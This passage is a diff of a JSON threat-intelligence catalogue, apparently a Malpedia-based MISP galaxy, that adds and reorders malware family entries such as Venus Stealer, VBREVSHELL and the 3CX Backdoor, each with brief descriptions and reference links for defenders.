"https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain" + "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", + "https://blogs.vmware.com/security/2022/04/serpent-the-backdoor-that-hides-in-plain-sight.html" ], "synonyms": [], "type": [] @@ -10826,6 +11381,20 @@ "uuid": "0bd5aed2-9c74-41a5-9fcf-9379f2cb0e2c", "value": "Venomous" }, + { + "description": "Venus Stealer is a python based Infostealer observed early 2023.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/py.venus_stealer", + "https://geekypandatales.wordpress.com/2023/02/19/the-infostealer-pie-python-malware-analysis/", + "https://twitter.com/0xToxin/status/1625435116771180546" + ], + "synonyms": [], + "type": [] + }, + "uuid": "20f72d3c-87b7-4349-ad1b-59d7909c1df4", + "value": "Venus Stealer" + }, { "description": "", "meta": { @@ -10857,15 +11426,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.cageychameleon", + "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", + "https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf", + "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf", + "https://www.clearskysec.com/cryptocore-group/", + "https://www.proofpoint.com/us/blog/threat-insight/ta444-apt-startup-aimed-at-your-funds", "https://www.clearskysec.com/wp-content/uploads/2020/06/CryptoCore_Group.pdf", "https://atlas-cybersecurity.com/cyber-threats/cryptocore-cryptocurrency-exchanges-under-attack/", - "https://vb2020.vblocalhost.com/conference/presentations/unveiling-the-cryptomimic/", - "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314", - "https://www.clearskysec.com/wp-content/uploads/2021/05/CryptoCore-Lazarus-Clearsky.pdf", - "https://www.clearskysec.com/cryptocore-group/", - "https://cyberstruggle.org/delta/LeeryTurtleThreatReport_05_20.pdf" + "https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&ved=2ahUKEwjCk7uOzMP-AhXOYMAKHYtLCKkQFnoECBIQAQ&url=https%3A%2F%2Fi.blackhat.com%2FUSA-22%2FThursday%2FUS-22-Wikoff-Talent-Need-Not-Apply.pdf&usg=AOvVaw0deqd7ozZyRTfSBOBmlbiG", + "https://www.proofpoint.com/us/daily-ruleset-update-summary-20190314" + ], + "synonyms": [ + "Cabbage RAT" ], - "synonyms": [], "type": [] }, "uuid": "ea71b7c1-79eb-4e9c-a670-ea75d80132f4", @@ -10918,8 +11491,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.grinju", - "https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8", - "https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce" + "https://medium.com/@vishal_thakur/grinju-downloader-anti-analysis-on-steroids-part-2-8d76f427c0ce", + "https://medium.com/@vishal_thakur/grinju-malware-anti-analysis-on-steroids-part-1-535e72e650b8" ], "synonyms": [], "type": [] @@ -10932,9 +11505,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.halfbaked", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", + "https://attack.mitre.org/software/S0151/", "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://attack.mitre.org/software/S0151/" + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf" ], "synonyms": [], "type": [] @@ -10959,32 +11532,36 @@ "value": "Iloveyou" }, { - "description": "Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files.\r\nThe malware targets banking clients in Portugal.", + "description": "", "meta": { "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion", - "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html", - "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", - "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", - "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", - "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", - "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", - "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", - "https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing", - "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/" + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.janicab", + "https://securelist.com/deathstalker-targets-legal-entities-with-new-janicab-variant/108131/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "b3cb5859-2049-43d3-aed2-73db45ed0112", + "value": "Janicab (VBScript)" + }, + { + "description": "Malware is delivered by emails, containing links to ZIP files or ZIP attachments. The ZIP contains a VBscript that, when executed, downloads additional files from AWS S3, Google Drive or other cloud hosting services. The downloaded files are encrypted .exe and .dll files.\r\nThe malware targets banking clients in Portugal.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.lampion", + "https://research.checkpoint.com/wp-content/uploads/2019/12/Threat_Intelligence_News_2019-12-30.pdf", + "https://seguranca-informatica.pt/the-hidden-c2-lampion-trojan-release-212-is-on-the-rise-and-using-a-c2-server-for-two-years", + "https://seguranca-informatica.pt/new-release-of-lampion-trojan-spreads-in-portugal-with-some-improvements-on-the-vbs-downloader", + "https://seguranca-informatica.pt/lampion-trojan-disseminated-in-portugal-using-covid-19-template/", + "https://seguranca-informatica.pt/trojan-lampion-is-back-after-3-months/", + "https://unit42.paloaltonetworks.com/single-bit-trap-flag-intel-cpu/", + "https://cofense.com/blog/lampion-trojan-utilizes-new-delivery-through-cloud-based-sharing", + "https://seguranca-informatica.pt/targeting-portugal-a-new-trojan-lampion-has-spread-using-template-emails-from-the-portuguese-government-finance-tax/", + "https://securityaffairs.co/wordpress/128975/malware/hidden-c2-lampion-trojan-release-212.html" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "dd299e22-bf82-4317-8c81-c6b1f7514571", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "97f89048-2a57-48d5-9272-0d1061a14eca", "value": "lampion" }, @@ -11011,15 +11588,6 @@ "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "2bea2cc9-c1cc-453d-a483-541b895867d1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "e9afcd80-c1c6-4194-af32-133fe31e835f", "value": "MOUSEISLAND" }, @@ -11054,14 +11622,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.starwhale", + "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", "https://www.techrepublic.com/article/muddywater-targets-middle-eastern-and-asian-countries-in-phishing-attacks/", "https://www.inforisktoday.com/muddywater-targets-critical-infrastructure-in-asia-europe-a-18611", "https://www.mandiant.com/resources/telegram-malware-iranian-espionage", "https://thehackernews.com/2022/03/iranian-hackers-targeting-turkey-and.html", + "https://blog.talosintelligence.com/iranian-supergroup-muddywater/", + "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706", "https://rootdaemon.com/2022/03/10/iranian-hackers-targeting-turkey-and-arabian-peninsula-in-new-malware-campaign/", - "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html", - "https://thehackernews.com/2022/02/irans-muddywater-hacker-group-using-new.html", - "https://www.govinfosecurity.com/iranian-apt-new-methods-to-target-turkey-arabian-peninsula-a-18706" + "https://blog.talosintelligence.com/2022/03/iranian-supergroup-muddywater.html" ], "synonyms": [ "Canopy", @@ -11104,6 +11673,7 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_003", "https://aaqeel01.wordpress.com/2021/01/18/docx-files-template-injection/", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/", "https://www.threatstop.com/blog/gamaredon-group-understanding-the-russian-apt" ], "synonyms": [], @@ -11125,6 +11695,60 @@ "uuid": "84c6b483-ba17-4a22-809d-dc37d9ce1822", "value": "Unidentified VBS 004 (RAT)" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_005", + "https://unit42.paloaltonetworks.com/trident-ursa/", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "8eb8ebbc-c5b1-47d8-816a-4e21dee145c3", + "value": "Unidentified VBS 005 (Telegram Loader)" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.unidentified_006", + "https://blogs.blackberry.com/en/2023/01/gamaredon-abuses-telegram-to-target-ukrainian-organizations", + "https://threatmon.io/beyond-bullets-and-bombs-an-examination-of-armageddon-groups-cyber-warfare-against-ukraine/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "a6bd28db-c1a3-44b1-8bc3-7882e2896d67", + "value": "Unidentified VBS 006 (Telegram Loader)" + }, + { + "description": "According to Mandiant, VBREVSHELL is a VBA macro that spawns a reverse shell relying exclusively on Windows API calls.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.vbrevshell", + "https://www.mandiant.com/media/17826" + ], + "synonyms": [], + "type": [] + }, + "uuid": "991179a0-efd5-450a-a1ce-78d1109bb50b", + "value": "VBREVSHELL" + }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/vbs.wasabiseed", + "https://www.proofpoint.com/us/blog/threat-insight/screentime-sometimes-it-feels-like-somebodys-watching-me" + ], + "synonyms": [], + "type": [] + }, + "uuid": "0c6568da-7017-4d9f-b077-0c486b3f9057", + "value": "WasabiSeed" + }, { "description": "", "meta": { @@ -11151,31 +11775,68 @@ "uuid": "24e598cf-4c55-468a-ac1d-cc4f89104943", "value": "000Stealer" }, + { + "description": "According to CrowdStrike, this backdoor was discovered being embedded in a legitimate, signed version of 3CXDesktopApp, and thus constitutes a supply chain attack.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.3cx_backdoor", + "https://www.fortinet.com/blog/threat-research/3cx-desktop-app-compromised", + "https://www.welivesecurity.com/2023/04/20/linux-malware-strengthens-links-lazarus-3cx-supply-chain-attack", + "https://www.volexity.com/blog/2023/03/30/3cx-supply-chain-compromise-leads-to-iconic-incident/", + "https://blogs.vmware.com/security/2023/03/investigating-3cx-desktop-application-attacks-what-you-need-to-know.html", + "https://www.splunk.com/en_us/blog/security/splunk-insights-investigating-the-3cxdesktopapp-supply-chain-compromise.html", + "https://www.reversinglabs.com/blog/red-flags-fly-over-supply-chain-compromised-3cx-update", + "https://github.com/dodo-sec/Malware-Analysis/blob/main/SmoothOperator/SmoothOperator.md", + "https://www.cadosecurity.com/forensic-triage-of-a-windows-system-running-the-backdoored-3cx-desktop-app/", + "https://www.group-ib.com/blog/3cx-supply-chain-attack/?utm_source=twitter&utm_campaign=3cx-blog&utm_medium=social", + "https://www.trendmicro.com/en_us/research/23/c/information-on-attacks-involving-3cx-desktop-app.html", + "https://www.youtube.com/watch?v=fTX-vgSEfjk", + "https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/", + "https://www.zscaler.com/security-research/3CX-supply-chain-attack-analysis-march-2023", + "https://blog.cyble.com/2023/03/31/a-comprehensive-analysis-of-the-3cx-attack", + "https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/", + "https://www.rapid7.com/blog/post/2023/03/30/backdoored-3cxdesktopapp-installer-used-in-active-threat-campaign/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/3cx-supply-chain-attack", + "https://www.elastic.co/security-labs/elastic-users-protected-from-suddenicon-supply-chain-attack", + "https://research.openanalysis.net/3cx/northkorea/apt/triage/2023/03/30/3cx-malware.html#Functionality", + "https://blogs.blackberry.com/en/2023/03/initial-implants-and-network-analysis-suggest-the-3cx-supply-chain-operation-goes-back-to-fall-2022", + "https://www.huntress.com/blog/3cx-voip-software-compromise-supply-chain-threats", + "https://www.sentinelone.com/blog/smoothoperator-ongoing-campaign-trojanizes-3cx-software-in-software-supply-chain-attack/" + ], + "synonyms": [ + "SUDDENICON" + ], + "type": [] + }, + "uuid": "b6a00e25-9d8d-4ebc-b9fc-7fd41797303b", + "value": "3CX Backdoor (Windows)" + }, { "description": "Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victim’s sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger", - "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", "https://blogs.blackberry.com/en/2022/06/threat-thursday-unique-delivery-method-for-snake-keylogger", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", "https://x-junior.github.io/malware%20analysis/2022/06/24/Snakekeylogger.html", + "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", + "https://www.fortinet.com/blog/threat-research/deep-dive-into-a-fresh-variant-of-snake-keylogger-malware", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", "https://threatresearch.ext.hp.com/the-many-skins-of-snake-keylogger/", - "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", + "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", + "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware", + "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", + "https://twitter.com/James_inthe_box/status/1401921257109561353", + "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", + "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", "https://cert.gov.ua/article/955924", "https://blog.netlab.360.com/purecrypter", - "https://www.bleepingcomputer.com/news/security/pdf-smuggles-microsoft-word-doc-to-drop-snake-keylogger-malware/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--102", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/", - "https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter", - "https://twitter.com/James_inthe_box/status/1401921257109561353", - "https://insights.infoblox.com/threat-intelligence-reports/threat-intelligence--89", - "https://malwarebookreports.com/cross-platform-java-dropper-snake-and-xloader-mac-version/", - "https://threatresearch.ext.hp.com/pdf-malware-is-not-yet-dead/", - "https://www.youtube.com/watch?v=vzyJp2w8bPE", - "https://www.cybereason.com/blog/threat-analysis-report-snake-infostealer-malware" + "https://habr.com/ru/company/group-ib/blog/477198/", + "https://www.youtube.com/watch?v=vzyJp2w8bPE" ], "synonyms": [ "404KeyLogger", @@ -11191,6 +11852,7 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.4h_rat", + "https://cocomelonc.github.io/tutorial/2021/09/04/simple-malware-av-evasion.html", "https://github.com/securitykitten/malware_references/blob/master/crowdstrike-intelligence-report-putter-panda.original.pdf", "https://attack.mitre.org/groups/G0024" ], @@ -11205,8 +11867,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.7ev3n", - "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n", - "https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/" + "https://blog.malwarebytes.com/threat-analysis/2016/05/7ev3n-ransomware/", + "https://www.cyber.nj.gov/threat-profiles/ransomware-variants/7ev3n" ], "synonyms": [], "type": [] @@ -11219,27 +11881,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.8t_dropper", - "https://blog.malwarelab.pl/posts/on_the_royal_road/", + "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", "https://community.riskiq.com/article/5fe2da7f", - "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://blog.malwarelab.pl/posts/on_the_royal_road/", + "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", + "https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f", + "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", "https://securelist.com/cycldek-bridging-the-air-gap/97157/", + "https://go.recordedfuture.com/hubfs/reports/cta-2022-0922.pdf", + "https://medium.com/@Ilandu/portdoor-malware-afc9d0796cba", + "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", + "https://research.checkpoint.com/2023/pandas-with-a-soul-chinese-espionage-attacks-against-southeast-asian-government-entities/", + "https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241", "https://www.virusbulletin.com/virusbulletin/2020/03/vb2019-paper-attribution-object-using-rtf-object-dimensions-track-apt-phishing-weaponizers/", "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign/", - "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", - "https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf", - "https://research.checkpoint.com/2019/rancor-the-year-of-the-phish/", - "https://tradahacking.vn/another-malicious-document-with-cve-2017-11882-839e9c0bbf2f", - "https://www.accenture.com/_acnmedia/pdf-96/accenture-security-mudcarp.pdf", - "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", - "https://community.riskiq.com/article/56fa1b2f", - "https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/", - "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "https://ics-cert.kaspersky.com/media/Kaspersky-ICS-CERT-APT-attacks-on-industrial-organizations-in-H1-2021-En.pdf", + "https://malgamy.github.io/malware-analysis/The-Approach-of-TA413-for-Tibetan-Targets/#third-stage", + "https://medium.com/@Sebdraven/new-version-of-chinoxy-backdoor-using-covid19-document-lure-83fa294c0746", + "https://nao-sec.org/2021/01/royal-road-redive.html", + "https://research.checkpoint.com/2020/vicious-panda-the-covid-campaign", "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://medium.com/@Sebdraven/malicious-document-targets-vietnamese-officials-acb3b9d8b80a?", "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", - "https://tradahacking.vn/l%C3%A0-1937cn-hay-oceanlotus-hay-lazarus-6ca15fe1b241", - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology" + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://community.riskiq.com/article/56fa1b2f" ], "synonyms": [ "8t_dropper", @@ -11255,24 +11921,24 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.9002", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", + "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", + "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", "https://www.secureworks.com/research/threat-profiles/bronze-keystone", - "https://www.secureworks.com/research/threat-profiles/bronze-firestone", - "https://www.secureworks.com/research/threat-profiles/bronze-express", - "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", + "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/webworm-espionage-rats", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf", "https://www.secureworks.com/research/threat-profiles/bronze-union", "https://www.infopoint-security.de/medien/the-elderwood-project.pdf", - "https://attack.mitre.org/groups/G0001/", - "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn", - "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", + "https://www.secureworks.com/research/threat-profiles/bronze-express", "https://www.fireeye.com/blog/threat-research/2013/05/ready-for-summer-the-sunshop-campaign.html", - "https://www.fireeye.com/blog/threat-research/2013/11/operation-ephemeral-hydra-ie-zero-day-linked-to-deputydog-uses-diskless-method.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/supply-chain-attack-operation-red-signature-targets-south-korean-organizations/", + "https://researchcenter.paloaltonetworks.com/2015/09/chinese-actors-use-3102-malware-in-attacks-on-us-government-and-eu-media/", + "https://www.secureworks.com/research/threat-profiles/bronze-firestone", + "https://attack.mitre.org/groups/G0001/", + "https://www.fireeye.com/blog/threat-research/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html", + "https://www.proofpoint.com/us/threat-insight/post/operation-rat-cook-chinese-apt-actors-use-fake-game-thrones-leaks-lures", "http://researchcenter.paloaltonetworks.com/2016/07/unit-42-attack-delivers-9002-trojan-through-google-drive/", - "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2013/hidden_lynx.pdf", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/elderwood-project-12-en.pdf" + "https://app.box.com/s/z1uanuv1vn3vw5iket1r6bqrmlra0gpn" ], "synonyms": [ "HOMEUNIX", @@ -11298,16 +11964,16 @@ "value": "Abaddon" }, { - "description": "", + "description": "MajorGeeks describes this malware as trying to locate credit card data by reading the memory of all processes except itself by first blacklisting its own PID using the GetCurrentProcessId API. Once that data is discovered, it sends this data back to a command and control server using a custom binary protocol instead of HTTP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.abaddon_pos", - "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", - "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/", + "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", "https://threatpost.com/new-pos-malware-pinkkite-takes-flight/130428/", "https://www.proofpoint.com/us/threat-insight/post/AbaddonPOS-A-New-Point-Of-Sale-Threat-Linked-To-Vawtrak", - "https://medium.com/s2wlab/operation-synctrek-e5013df8d167", - "https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/" + "https://www.proofpoint.com/us/threat-insight/post/abaddonpos-now-targeting-specific-pos-software", + "https://www.carbonblack.com/2020/05/21/tau-technical-report-new-attack-combines-tinypos-with-living-off-the-land-techniques-for-scraping-credit-card-data/", + "https://norfolkinfosec.com/tinypos-and-prolocker-an-odd-relationship/" ], "synonyms": [ "PinkKite", @@ -11347,8 +12013,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.absentloader", - "https://twitter.com/cocaman/status/1260069549069733888", - "https://github.com/Tlgyt/AbSent-Loader" + "https://github.com/Tlgyt/AbSent-Loader", + "https://twitter.com/cocaman/status/1260069549069733888" ], "synonyms": [], "type": [] @@ -11374,10 +12040,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash", - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2019/presentations/cds19-executive-s08-achievement-unlocked.pdf", - "https://www.secureworks.com/research/threat-profiles/bronze-atlas", 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"https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", - "https://community.riskiq.com/article/56e28880", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", + "https://youtu.be/hxaeWyK8gMI", "http://blog.nsfocus.net/sweed-611/", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", - "https://www.youtube.com/watch?v=Q9_1xNbVQPY", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", - "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", - "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant", - "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", - "https://unit42.paloaltonetworks.com/originlogger/", - "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", - "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", - "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", - "https://isc.sans.edu/diary/28202", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://community.riskiq.com/article/6337984e", - "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", + "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://www.youtube.com/watch?v=Q9_1xNbVQPY", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", + "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", "https://isc.sans.edu/diary/rss/27092", "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", - "https://malwarebookreports.com/agent-teslaggah/", - "https://blog.minerva-labs.com/preventing-agenttesla", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/", - "https://lab52.io/blog/a-twisted-malware-infection-chain/", - "https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor", - 